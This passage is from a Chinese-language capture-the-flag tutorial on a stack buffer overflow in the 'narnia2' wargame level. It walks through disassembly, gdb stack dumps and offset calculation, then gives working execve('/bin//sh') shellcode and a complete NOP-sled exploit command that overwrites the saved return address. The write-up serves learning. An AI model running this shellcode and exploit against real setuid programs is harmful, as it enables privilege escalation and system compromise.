此外,合成的值也经常被用作操作数,内存地址的偏移量甚至更复杂的都有可能被使用。两个寄存器可以被连接到一个操作数,但是这种方法却颇受争议。汇编说到底就是指针和解引用,你大多数的时间都花在使用寄存器指向一个位置和解引用值上了,这就是真实的内存管理。你的RAM就像一个有着几十亿间房间的酒店,值就像顾客,而你的cpu则是全宇宙最聪明的酒店前台,登记顾客手续,知道顾客们在哪个房间并像疯子一样将他们到处转移。C风格中,array[0]从数组中解引用数据,解引用的方法之一就是将寄存器或内存地址放在方括号中。另外,寄存器是可以被视为指针的,因此两种方法都奏效:作为一个右操作数解引个寄存器将会使用它作为操作数所指向的值,而不是寄存器本身的值。同样的,作为左操作数解引用会停止存储该表达式所指向位置的操作数的结果。这也可以联合起来,以一种复杂的方式存储或载入,例如从某个寄存器开始的偏移量,或者寄存器乘以另一个寄存器的偏移量,这有几个例子:
1 mov eax, [ebp+0x8] ;dereferences the value stored at ebp+8 into eax
2 mov ebx, [eax+4*ecx] ;dereferences value stored at eax+4*ecx. 4 here references the pointer size for 32 bit systems, while ecx may, for example's sake, be a storing a
;loop counting variable. By looping and incremenitng ecx, this could form part of a loop routine to cycle through an array of pointers or integers,
; for example's sake.
3 Mov [esp], 4 ;move 4 into the location pointed by esp, which should be the top of the stack. In some syntaxes this would be written as “mov DWORD PTR [esp], 4”.
4 mov [esp+8], [ebp+8] ;move value at ebp+8 into the stack at esp+8 (two dwords in).
这就是我能告诉你的所有了,他们都是基础。这只是一个粗略的介绍,而且我可能并没有包含所有细节,这也不能代替正式的汇编学习。看一下我推荐的那本书,真的是一本好书,为了能更好的理解用汇编代码编程实践一下。就目前而言,我们还是继续吧。还是那句话,如果你不懂汇编或者觉得很困惑的话,先去学一下。从这里开始,我们的进度就会比较快了,当然我会尽可能地给代码做出注释。
Dump of assembler code for function main:
0x08048424 <+0>: push ebp ;save stack frame (ebp)from caller
0x08048425 <+1>: mov ebp, esp ;create new stack frame
0x08048427 <+3>: and esp,0xfffffff0 ;gcc lines up stack frames neatly, so this is ikely done to align esp with a 16 byte margin
0x0804842a <+6>: sub esp,0x90 ;clear room for buff[128] + some arguments, again aligning with a 16 byte margin. 128+16 = 144 (0x90).
0x08048430 <+12>: cmp DWORD PTR [ebp+0x8],0x1 ;compare argument counts to 1
0x08048434 <+16>: jne 0x8048458 <main+52> ;if number of args !=1jump to main+52
在这里,程序出现了分支,我们真正感兴趣的是main+52分支语句,但是我会注释掉第一个分支的其他部分,这样你就可以看到更多汇编语句的执行。
0x08048436 <+18>: mov eax,DWORD PTR [ebp+0xc] ;deferefence memory location of **argv array ). at ebp+0xc because ebp points at saved ebp, ebp+0x4 to the saved eip, ebp+0x8 to argc.
;Further, note that **argv is a pointer to an array of pointers which are stored elsewhere. Argv[1] is NOT located at ebp+0x10.
0x08048439 <+21>: mov edx,DWORD PTR [eax] ;defeference (again) pointer to argv[0] pointer in edx. This two step process is like a double de-reference. Edx now holds a pointer to the
;actual string of the program's invocation.
0x0804843b <+23>: mov eax,0x8048560 ;placing memory location of hard coded usage string into eax.
0x08048440 <+28>: mov DWORD PTR [esp+0x4],edx ;places a pointer to argv[0](program name) on the stack at esp+4.
0x08048444 <+32>: mov DWORD PTR [esp],eax ;pointer to the usage string on the stack right as esp. Since it includes %s that will also pop and print the next value after it, the proram name.
0x08048447 <+35>: call 0x8048320 <printf@plt> ;call printf – prints the usage string, which also prints argv[0]
0x0804844c <+40>: mov DWORD PTR [esp],0x1 ;place 1 to indicate that the program took a usage path, not the intended path, into stack at esp (top of stack)
0x08048453 <+47>: call 0x8048350 <exit@plt> ;call exit routine gcc will have provided. That will clean up, and return to the shell. The 1 is not printed, but will show up if you're debugging
;to provide info on why the program exited. 0 is normal, but any positive value tends to mean “no errors.” This could be useful when debugging branching paths of programs.
好了,这里标志着我们感兴趣分支的开始。如果你迷失了方向的话,回顾一下第一节的内容,看看那里发生了什么。我们到了这里,代码会从jmp那里继续执行仿佛我刚才说的那个分支没存在过一样。
0x08048458 <+52>: mov eax,DWORD PTR [ebp+0xc] ; dereferences the location of the **argv array.
0x0804845b <+55>: add eax,0x4 ; Adding 4 bytes means eax now points at a pointer which holds the address of argv. Pointers in 32 bit are 1 dword long (4 bytes)
0x0804845e <+58>: mov eax,DWORD PTR [eax] ;this again de-references the second pointer, giving the address of argv[1]
0x08048460 <+60>: mov DWORD PTR [esp+0x4],eax ;put this pointer on stack 1dword below top
0x08048464 <+64>: lea eax,[esp+0x10] load the destination location for strcopy into eax. This is a pointer to buf[].
0x08048468 <+68>: mov DWORD PTR [esp],eax ;place pointer to buf[] at the top of the stack
0x0804846b <+71>: call 0x8048330 <strcpy@plt> ;call strcopy, which will copy argv[1] into buff[] blindly without checking anything.
0x08048470 <+76>: mov eax,0x8048574 ;again, probably loads static data string for printf (%s)
0x08048475 <+81>: lea edx,[esp+0x10]; loads the address of buff[] into edx
0x08048479 <+85>: mov DWORD PTR [esp+0x4],edx ; place pointer to buf[] one dword from top of stack
0x0804847d <+89>: mov DWORD PTR [esp],eax ; place pointer to static printf data at the top of stack
0x08048480 <+92>: call 0x8048320 <printf@plt> ; call printf
0x08048485 <+97>: mov eax,0x0 ;move 0 into all is well error code;
0x0804848a <+102>: leave ;mov esp, ebp (move esp to ebp) to clear stack, then pop saved ebp into ebp; esp now points at eip.
0x0804848b <+103>: ret ;pop saved eip into eip and continue execution at whatever address it points to. Normally, this would return to the caller, clean up and exit.
;Note, esp now points to one below eip. This bites me in the arse later.
End of assembler dump.
但愿已经讲得足够清楚了,如果它仍让你感到困惑,我认为你应该再去看一下这节前面的部分,或者学点汇编再回来。当你尝试理解编译过的代码时,没有代替品可循。这就是本节的内容,我们现在可以在家里伸个懒腰了,希望你能明白前期的准备和需要的知识点所花的精力是一个简单的stack smash的几千倍。矩阵的比喻留在计算机里,而你在矩阵外,你没必要拍着你的手说:"哇哦,我会功夫"。你不能就这么跳到里面去,如果你还没有搞明白,坦白说你应该去努力学习一阵子了。
5. You think that's air you're breathing?:
好了,参考了前一节的反汇编,gdb就像任何调试器一样可以让我们在任何地方暂停代码的执行。当程序运行后,它会从代码数据的低端向上读取指令,从低到高的。这应该会提醒你想起那些批判者,他们知道我们要将新代码写入栈中,意识到我们会从低地址写到高地址,从栈顶到栈底。但是不管怎么说,我们队strcpy还是感兴趣的,因此我在程序开始后就设置了一个断点,strcpy调用的前后也设置了断点。要设置断点,我敲入break *memory-address,例如:
(gdb) break *0x08048468 Breakpoint 1 at 0x8048468 (gdb) break *0x0804846b Breakpoint 2 at 0x804846b (gdb) break *0x08048470 Breakpoint 3 at 0x8048470
接下来我要做的是运行程序,其参数用一行Python语句生成。我想知道在哪用strcpy将数据打印到栈中。相对而言已经很清楚了,但我们需要一个精确的地址。我用python打印了32个0xAA字节,然后是32个0xBB和32个0xCC。这样它们会整齐地分布在栈中,然后我运行程序如下:
(gdb) run `python -c 'print "\xaa"*32 + "\xbb"*32 + "\xcc"*32'` Starting program: /games/narnia/narnia2 `python -c 'print "\xaa"*32 + "\xbb"*32 + "\xcc"*32'` Breakpoint 1, 0x08048468 in main ()
我们现在在第一个断点处,刚好在buff被添加到栈顶之前,然后strcpy就被调用了。调试时另一个有用的工具是实际打印栈的能力。在gdb中敲入x/NxM,这里N是个数、M是内存大小。我想打印双字,但是gdb中内存大小有一些奇怪的名字:它关dwords叫字、qwords巨字、words半字。字节依旧是字节,在这种情况下打印双字是最有用的,因为那刚好是系统cpu的大小。做这个,我敲下了print x/64w $esp(这就是在栈上打印esp,但是你也可以打印任何内存地址)。
Breakpoint 1, 0x08048468 in main () (gdb) x/64x $esp 0xffffd630: 0xffffd67e 0xffffd8a1 0x00000001 0xf7ec4a79 0xffffd640: 0xffffd67f 0xffffd67e 0x00000000 0xf7ff249c 0xffffd650: 0xffffd704 0x00000000 0x00000000 0xf7e5efc3 0xffffd660: 0x08048258 0x00000000 0x00ca0000 0x00000001 0xffffd670: 0xffffd88b 0x0000002f 0xffffd6cc 0xf7fceff4 0xffffd680: 0x08048490 0x08049750 0x00000002 0x080482fd 0xffffd690: 0xf7fcf3e4 0x00008000 0x08049750 0x080484b1 0xffffd6a0: 0xffffffff 0xf7e5f116 0xf7fceff4 0xf7e5f1a5 0xffffd6b0: 0xf7feb660 0x00000000 0x08048499 0xf7fceff4 0xffffd6c0: 0x08048490 0x00000000 0x00000000 0xf7e454b3 0xffffd6d0: 0x00000002 0xffffd764 0xffffd770 0xf7fd3000 0xffffd6e0: 0x00000000 0xffffd71c 0xffffd770 0x00000000 0xffffd6f0: 0x0804821c 0xf7fceff4 0x00000000 0x00000000 0xffffd700: 0x00000000 0x6e28e767 0x592da377 0x00000000 0xffffd710: 0x00000000 0x00000000 0x00000002 0x08048370 0xffffd720: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
花点时间来吸收一下你看到的和想到的。左边的是每一行内存地址的第一个双字。每一行有4个双字,共16字节。第二个在+4的位置,第三个+8,第四个+c(如果到现在都不知道十六进制,你一定会感到非常困惑。和这个层次的程序共处,你不仅要知道十六进制,还要按十六机制的方式思考)。还记得我之前说你的内存中充满了垃圾数据吗?现在你该相信我了吧?有些是由程序放置在那里的,但是至少有128字节应该是空缓冲区。有很多可能来自于其他人和我运行的程序或者是服务器上其他的程序,因为这个栈节的上上下下看起来都那么相似。
我们想知道寄存器的值,也可以把它们都打印出来:
(gdb) print $ebp $2 = (void *) 0xffffd6c8 (gdb) print $esp $3 = (void *) 0xffffd630 (gdb) print $ebp-$esp $4 = 152
我们可以看到栈上有152个字节,我们可以看到ebp在哪,这样就可以知道保存的eip存储在ebp+4(也可以打印当前的eip,但那样只会告诉我们我们所在的断点地址)。这样我们就可以知道在我们搞混一些关键的ebp和非常重要的eip之前,还有多少个字节可写。不过不要被骗了。精明的读者可能会发现buff从esp+0x10开始。如果你把它看成了esp+10,恭喜你中奖了,你可以从文档上阅读你不懂的东西,这是一种映让人像深刻的方式。
Breakpoint 3, 0x08048470 in main () (gdb) x/64x $esp 0xffffd630: 0xffffd640 0xffffd8a1 0x00000001 0xf7ec4a79 0xffffd640: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xffffd650: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xffffd660: 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb 0xffffd670: 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb 0xffffd680: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0xffffd690: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0xffffd6a0: 0xffffff00 0xf7e5f116 0xf7fceff4 0xf7e5f1a5 0xffffd6b0: 0xf7feb660 0x00000000 0x08048499 0xf7fceff4 0xffffd6c0: 0x08048490 0x00000000 0x00000000 0xf7e454b3 0xffffd6d0: 0x00000002 0xffffd764 0xffffd770 0xf7fd3000 0xffffd6e0: 0x00000000 0xffffd71c 0xffffd770 0x00000000 0xffffd6f0: 0x0804821c 0xf7fceff4 0x00000000 0x00000000 0xffffd700: 0x00000000 0x6e28e767 0x592da377 0x00000000 0xffffd710: 0x00000000 0x00000000 0x00000002 0x08048370 0xffffd720: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
这确定了buff从esp+0x10开始,你也可以看到esp+0x10的地址处于栈顶,正如反汇编代码指明的,我们成功的添加了一堆a、b、c到栈上。有时候这是一个非常有用的过程,用字节填充缓冲区直到程序中断,为了学更多的东西,但在这个案例中,单从源代码,我们早就该理解了这一信息。这里真正的金矿是内存偏移位置,继续运行直到程序结束吧。
(gdb) c
Continuing.
到目前为止,我们并没有做什么有趣的事情,程序继续运行,打印了一堆0xAA、0xBB之类,对于不可打印的,他们就变成了乱码。这体现了我们可以用python或其他方法以字符串的方式给程序传值,普通用户都不愿意手工一个个敲的,这是程序员一个简单的疏忽。
不如玩玩来体验一番,出于学习的目的将程序中断,证明我们能获得eip的控制权,这或许是是程序员没做过的,对他们来说重定向程序流到其他地方没有意义。先前我们已经计算出esp和ebp之间有152字节。buff从esp+0x10开始,那我们152-16=136字节。另外分别有四个字节重写ebp和esp,因此有144个字节可以完全重写eip。程序继续运行,试图打印我们的字符串,将esp移到ebp所指的地方(保存的ebp,但被我们重写了),弹出栈上的值(这个值还在,记住这一点,不过esp增加了4)给ebp,现在ebp有了我们指定的值,将eip从栈顶弹到eip,然后尝试运行我们指定的位置。我要打印0x90 144次看它会发生什么。
Starting program: /games/narnia/narnia2 `python -c 'print "\x90"*144'` (gdb) x/64xw $esp 0xffffd600: 0xffffd610 0xffffd871 0x00000001 0xf7ec4a79 0xffffd610: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd620: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd630: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd640: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd650: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd660: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd670: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd680: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd690: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd6a0: 0x00000000 0xffffd734 0xffffd740 0xf7fd3000 0xffffd6b0: 0x00000000 0xffffd71c 0xffffd740 0x00000000 0xffffd6c0: 0x0804821c 0xf7fceff4 0x00000000 0x00000000 0xffffd6d0: 0x00000000 0x5650354f 0x6155915f 0x00000000 0xffffd6e0: 0x00000000 0x00000000 0x00000002 0x08048370 0xffffd6f0: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
我们可以看到我们所有的0x90在那里,置于栈上,重写了ebp和eip,想让gdb继续,键入"c"就行了
(gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x90909090 in ?? () (gdb) print $ebp $6 = (void *) 0x90909090 (gdb) print $esp $7 = (void *) 0xffffd6a0 (gdb) print $eip $8 = (void (*)()) 0x90909090
SISEGV意味着段错误,你试图访问你不该访问的地方,在这里(读取eip),可能是不存在的内存地址。记住,程序用于4GB的内存,但内核实际上只是在需要时发放少量节,然后将这些节分配给我们程序空间中的虚拟地址。你刚才试图逃离矩阵,但机器不会让你这么做的。但是,看我打印出来的eip和ebp的值,加上内存位置执行就是我们收到SISEGV的地方,这证实了我们能重定向执行流。如果我们想一下eip从文件代码中读取数据的事实,很显然我们可以在某个地方写入新代码,然后将eip重定向到该代码,cpu会像陌生人的糖果一样执行它。
6. I know kung-fu, but Morpheus keeps kicking my arse:
除了示范,出于学习的目的,写下该代码的程序员授予了我们他自己都没有的权力(控制eip),这使得程序段没什么用了。我们最终想使用这种新发现的权力做一些有趣的事。在我谈论反汇编main函数的时候我已经稍微描述了一下机器码,我也讨论过每一行的汇编指令都被转换为了操作码,记录了组合在一起形成更复杂结果的很多单个字节集。它们把内存移来移去,改变其值,测试条件是否成立等等,每一项任务,映射几乎完全是一对一的等价汇编助记符。
如果操作码都是字节,那它们的值从0x00到0xFF,那就是说它们物理上而言和字符在是完全一样的,不过是呈现某些东西的数字,及它们意味着什么样的解释,而结实完全取决于要干什么。类型控制、角色和变量类型在这里跟废话一样,那都是编译器的抽象:你能告诉我在反汇编的main中有哪里提到过int或char吗?这强化了软件安全的奇怪性质:所有的限制都是编译器强加给程序员的,一个懂得机器码的用户才是机器的真正主人,仅限于程序员的知识和对细节的态度。我们之前看到printf函数遇到我们置于栈上的所有的0xAA值时,愉快地将其打印为不可打印字符符号,用心良苦确奇怪的功能。之后我们看到一堆0x90被当做内存地址,使得ebp和eip试图访问这些地址。关键结论是,我们可以打印对应着任何操作码值的字符,如果eip指向那个值的话,它会作为一条指令解析而不是一个字符。这就是所谓的shellcode,当你思索它的时候也很明显。这意味着我们可以在一个有漏洞的程序中写入一个全新的程序,这是我这个例子的shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
实际上,从后面的栈转储检验栈时你会发现,这是我最初使用的shellcode,但我为这篇指南重新设计shellcode时稍微做了点改变。这样shellcode就更适合这个案例,而我实际使用shellcode的要设置用户id,但却没什么意义:程序已经是一个suid程序了。另外,上面这段shellcode使用起来更可靠。
稍后我会解释它是用来做什么的,但是我要提醒你一件很重要的事:不要从别人那随便弄一个shellcode过来就使用。你得知道它是干什么的:不少恶意shellcode被写出来控制(或入侵)用户。更重要的是,你需要知道你的shellcode是做什么的,这样才能合理地使用它。把这一点记在脑子里。
这种类型漏洞的基本利用的基本步骤是将你的shellcode在某处传给程序,程序会接收并存储它,用一个之后会加载到代码中的值重写一个有漏洞的缓冲区和保存的eip,等待返回事件启动攻击载荷。当然并不是总是这么容易实现,有很多东西可以使它变得困难。你需要有一个放置你攻击载荷的好想法,这些因素可能会改变地址空间的布局,你还需要对缓冲区里里外外有个了解。在真实场景中会有许多限制,譬如什么内存位置是eip能合法读取的、地址空间可能被随机化了。当你的缓冲区和shellcode在这附近时,还有攻击载荷放在什么地方才能奏效的限制,你得理清思路才能增加胜算。幸运的是,在这个案例中我们面对的是一个简单得有点奢侈的场景:大量的缓冲区、没有地址随机化而且栈看起来也可执行。
如果我们用gdb回想一下早先的研究,关于栈我们有一些精确的细节:在这种情况下我们使用main直接将shellcode写入buf提供的空间,并尝试重定向程序执行到刚打印的代码那里。在其他场景中,代码可能被存储在其他地方,我们的任务仅仅是重写eip。我们计算出为了重写保存的eip我们需要144字节。这给了我们巨大的140字节空间填充我们的shellcode,而我们的shellcode仅28字节长。这实在是最佳场景了:这些额外的空间是一个巨大的奖励,能让我们的生活变得更简单。我提到过有个不太寻常的助记符叫'nop',在一个周期中它什么都不会做然后继续往前执行。这看起来毫无用处,但它却是我们最后的朋友,它能让我们戏剧性的增加成功的可能性。在剩下的112个字节里,我们可以写入nops,如果将shellcode写在上面(低地址),我们eip的重定向就会击中这片区域的任何地方,cpu会很愉快执行的eip和shellcode之间的所有nops,然后运行payload。这就是俗称的"nop雪橇"法,这样执行能快速滑到达我们注入代码的地方。插句题外话,nop的操作码是0x90,换成十进制是144。
现在对我来说,在这个阶段合乎逻辑的事情似乎是完全最大化成功的机会,我喜欢先放108个字节的nops,然后再放28字节的shellcode,4个字节的nops重写ebp,然后用我nop雪橇的顶端,0xffffd610,重写保存的eip。但是这没有用,发生段违规了。用112个nops,shellcode,然后eip随后跟随,还是一样的。我试了一个等价的分割:56字节的nop,shellcode,56字节nop,再然后是eip,这下好了很多。事实上,我发现只要8个nops就能成功。非常迷惑为什么会是这样子的。我知道重定向生效了,因为我在栈上设了个断点,出现的SEGV错误显示当它发生的时候eip在我代码的底端。困惑啊,我得计算一下,毫无意义的继续却缺乏一个好的理由,为什么我需要8个nop的间距呢?之后我还会回到这里的,但是要记住,我说过你要理解你的shellcode。从我第一次混乱的尝试到越来越精确的攻击,我可能忘了我的shellcode做过什么。实际上,就如我说的,选择了一个可行的但和我自己写的那个不同的shellcode,这便是我之前提到的那个suid的代码。
这引发了一个重要的问题:我们的shellcode应该用来做什么?在这种情况下我们可以教它运行cat(一个将文件内容打印到标准输出的程序)并教它打印narnia3的password文件,或者我们可以在程序内部完成这个,打开文件、把它打印出来瞧瞧,我们还是去找金子并把shell丢掉吧。现在,我们已经处于shell中了,但我们现在是narnia2,该用户id不能读取narnia3的password的文件。像narnia2程序以naenia3的身份运行一样,如果我们让它放弃shell,我们变成narnia3,就可以控制程序了。这里我们需要知道Linux的系统调用函数,在这个案例中我们最爱的便是'execve'了。看一下execve的手册是值得的,因为它是一个名符其实的金罐子啊。如果你不是用的Linux系统,点击这个链接:http://linux.die.net/man/2/execve
有两点很重要,首先:execve在进程内被调用,会启动其他进程,完全重写数据、栈、代码,一切跟原始程序有关的东西。第二:如果正在调用的程序设置了suid,新进程启动的时候suid也是一样的,这非常酷,就好像外星的外星人突然从narnia2的胸中迸发出来了。另外我们还需要一个指向以null结尾的程序路径字符串的指针,存储在ebx中,一个指向指向ecx中的任何参数的指针,和一个指向edx中任意环境变量的指针。我们还需要eax保持值11或0xb,execve系统调用的编号。参数和环境变量指针为0,是空指针,因为没有我们想要的参数。对于null终结符我将使用push存储一个全0的双字节,然后/bin//sh则push两次作为那个字符串的字符值。构造shellcode还有一个需要考虑的重要问题,我们利用的是C语言字符串处理函数,而C语言的字符串是以null结束的,对吧?我们不能用shellcode中的任何空值,否则stecpy会因为遇到null而停止写入,我们的努力就白费了。另外,我们两次push的/bin/sh字符串必须每次都是4个字节,null是不被允许的,而在字符串末再加一个字符则会把路径搞混。/bin/sh路径是7字节长,但幸运的是在类unix系统中,在路径中多加一个斜杠依旧是有效的,因此我们压入/bin//sh(一条指令4字节,8字节需要分两次压入)。只要一点点创造力,我们就可以间接获得需要的空值。下面是我反汇编并注释后的代码:
xor eax, eax ;xor eax with itself=0 push eax ;push 4 0x00 bytes push 0x68732f2f ;push //sh (little endian=byte forwards, string backwards) push 0x6e69622f ;push /bin (again, byte forward, string backwards) mov ebx, esp ;pointer to top of stack, which is now holding “/bin//sh”,0 mov ecx, eax ;move eax, which is 0, into exc (nullptr) for no arguments mov edx, eax ;move eax (nullptr) into edx for no environmentals mov al, 0xb ;place 0xb into eax (al is part of eax) to specify execve int 0x80 ;int 80 calls the kernel and executes the syscall xor eax, eax ;if that didn't work, eax is -1 or other errno. inc eax ;increment eax to specify exit syscall int 0x80 ;call kernel and exit host program cleanly, no SEGV evidence.
现在,我实际上已经不再用设置了suid(除非给出的就是suid程序)的程序,它使用的是不同的形式,而这是我遇到问题的关键。suid系统调用是shellcode的第一部分,而execve的shellcode刚好在末尾,但除此之外,execve的那部分和它的操作是完全一样的。如果我在注入shellcode后绘一个图表,你可能会发现我遇到问题的原因。这里使用N指代一个nop字节,S表示一个shellcode字节,我会加粗那些已经重写ebp的字节,并给已经重写的eip贴上E标签。记住,当main函数返回时,esp被返回到保存的ebp(已被重写)值的位置,它被弹出到ebp,esp的值加4,esp现在指向一个已保存但被重写的eip,轮流弹出到eip。esp的值再一次加4,现在指向eip下面的一个双字。看图表再回头看一下shellcode,看一下你是否能明白。第一个例子中,shellcode是重写ebp的数据,刚好在我们选择的eip值的旁边。
<--- low addresses/top of stack ---NNNN... ...NNNNNNNNSSSSSSSSSSSSSSSSSSSSSSSSSSSSEEEE -bottom/high addresses-->
看到了吗?这个版本中断了我上面贴的代码,同样影响到了suid版本,在这个版本中execve刚好在shellcode末尾。下面是另一个版本,nops重写了保存的ebp,将shellcode在栈中向上移动了4个字节。
<--- low addresses/top of stack ---NNNN... ...NNNNSSSSSSSSSSSSSSSSSSSSSSSSSSSSNNNNEEEE -bottom/high addresses-->
现在这个版本执行我的execve,然后退出,前提是eip被nop滑雪地址正确重写了。尽管execve在shellcode底端,这个依旧不管用,弄明白了吗?下面是能完美运行shellcode还能帮你解决这个问题的表示:
<--- low addresses/top of stack -- NNNN... ...SSSSSSSSSSSSSSSSSSSSSSSSSSSSNNNNNNNNEEEE -bottom/high addresses-->
如过你还没有看出来,shellcode里面有三个push,因此,在成功的重定向到nop雪橇后,esp指向之前保存的eip地址的四字节之前。shellcode压入一个全0的双字,从esp中减去4并将0放置在eip过去的位置。然后我们/bin//sh字符串的前半部分压入ebp之前保存的位置,然后第三个push放置我们前面的四个字节,无论接下来是什么都会在其上面压栈。只有当shellcode在eip之前至少两个字节,第二个和第三个push才能重写shellcode的结尾。当我的shellcode离被重写的eip有4字节时它仍然能工作,因为被重写的那部分非常安全,如果execve执行失败就会退出。如果execve正常运行,记住,所有的narnia2代码和数据都会被重写,包括错位但从来没有触发的exit。在suid的版本中,execve会持续到最终,因此即便4字节的缓冲区都无法激活。还是那句话,了解你的shellcode!
现在我们已经解决了不少问题了,继续吧。我说过用Python打印我的shellcode作为程序的参数。我们可以计算出实际上有144-4-8=132个字节可以用shellcode和nop雪橇填充。即便我的版本会有4字节空间运行,我们不想exit错位。没有针对这个问题这么做的理由,但我们还是最好练习合理地做这些事吧。要不然为什么要包含它呢?那由104个nop,shellcode和8字节任何有效的东西,然后一个返回地址重写eip。我们知道在我们的调试工作中,buf的顶部在0xffffd610,因此我把它送到那。这样并没有完全利用nop雪橇的大小,但是基于我们接下来要看到的某个原因我这么做了。最后以点,记住我们使用的是小端的体系架构,因此我们向前写字节,字符串则以字节为单位向后。将0xffffd610写成一个双字,我们写成:0x10,0xd6,0xff,0xff。
单个字节写入计算机中的物理方向是互不相干的,因为字节是我们内存管理(你也可以进行位宽操作,但你仍是通过字节寻址)寻址时的最小单位,无论字节的顺序怎样。基于这个理由,为了人类的理解我们可以前向写字节,但内存地址是后向的。这只适合整字节的字符串,意味着返回地址(重写eip)和/bin//sh字符串,都是从高地址写向低地址,向后的却魔术般地工作良好。解释起来很复杂,但事实是端点切两边。栈上你的内存是小端表示的,而在寄存器中却是大端。我们给字符串填充立即数到push指令中,但我们不是将其从内存中拉出来,然后把它放回内存的其他地址:立即数物理上像寄存器值一样解释为大端表示。这很少出问题,即便汇编编码和调试时,汇编器/调试器将任何指定内存块的所有东西都转化为人类可阅读的形式。eip的值必须是向的,因为它早就在栈中,只是假装被cpu压栈,相对于cpu逆向压入。记住:内存->cpu->内存是基本的二次交换方向,或者一次都没有。剩余的shellcode就真是一串独立的字节 了,因此它们是孤立的。程序从低地址到高地址执行,因此我们凭着直觉顺序将它们从左到右写入,犯不着担心。对那些好奇想看一下的人来说,我将从buf开始到重写的eip末尾按自己打印出来了:
(gdb) x/144xb $esp+0x10 0xffffd610: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd618: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd620: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd628: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd630: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd638: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd640: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd648: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd650: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd658: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd660: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd668: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd670: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd678: 0x31 0xdb 0x8d 0x43 0x17 0x99 0xcd 0x80 0xffffd680: 0x31 0xc9 0x51 0x68 0x6e 0x2f 0x73 0x68 0xffffd688: 0x68 0x2f 0x2f 0x62 0x69 0x8d 0x41 0x0b 0xffffd690: 0x89 0xe3 0xcd 0x80 0xa0 0xd6 0xff 0xff 0xffffd698: 0x30 0xd6 0xff 0xff 0x00 0x54 0xe4 0xf7
如果你将它和下面的双字版本比较,你会看到双字的顺序实际是相反的。要跟上来得花不少功夫,但大部分来说你都没必要担心。仅当你使用字符串和保存的内存值时才有关联。但是已经非常容易搞乱了,是时候我们来撕裂这个栈了。
7. Do, or do-not. There is no try. Or catch:
如果你到目前为止都没有跳跃性阅读,那我真是深受感动了。如果你以前没有经历过的话这绝对是值得的,现在我们来将栈撕裂吧。如我之前提到的,我这里使用python打印104个nop,然后是shellcode,再是8个nop,最后是替换eip,指向nop雪橇终止处。
(gdb) r `python -c 'print "\x90"*104 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*8 + "\x10\xd6\xff\xff"'` Starting program: /games/narnia/narnia2 python -c 'print "\x90"*104 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*8 + "\x10\xd6\xff\xff"'`
下面这是main返回前一个断点处的栈转储。我们的朋友strcpy已经替我们完成了肮脏的工作,正如你能看到的那样,保存的eip被重写了(在内存偏移0xffffd69c、第九行、第四个双字处)。
=> 0x0804848b <+103>: ret
这就是取自这个断点反汇编的那行,箭头指向下一条指令,即ret。我们继续,那条指令就会得到执行。
Breakpoint 5, 0x0804848b in main () (gdb) x/64xw $esp 0xffffd600: 0x08048574 0xffffd610 0x00000001 0xf7ec4a79 0xffffd610: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd620: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd630: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd640: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd650: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd660: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd670: 0x90909090 0x90909090 0x438ddb31 0x80cd9917 0xffffd680: 0x6851c931 0x68732f6e 0x622f2f68 0x0b418d69 0xffffd690: 0x80cde389 0x90909090 0x90909090 0xffffd610 0xffffd6a0: 0x00000000 0xffffd734 0xffffd740 0xf7fd3000 0xffffd6b0: 0x00000000 0xffffd71c 0xffffd740 0x00000000 0xffffd6c0: 0x0804821c 0xf7fceff4 0x00000000 0x00000000 0xffffd6d0: 0x00000000 0x1253bd97 0x25561987 0x00000000 0xffffd6e0: 0x00000000 0x00000000 0x00000002 0x08048370 0xffffd6f0: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4 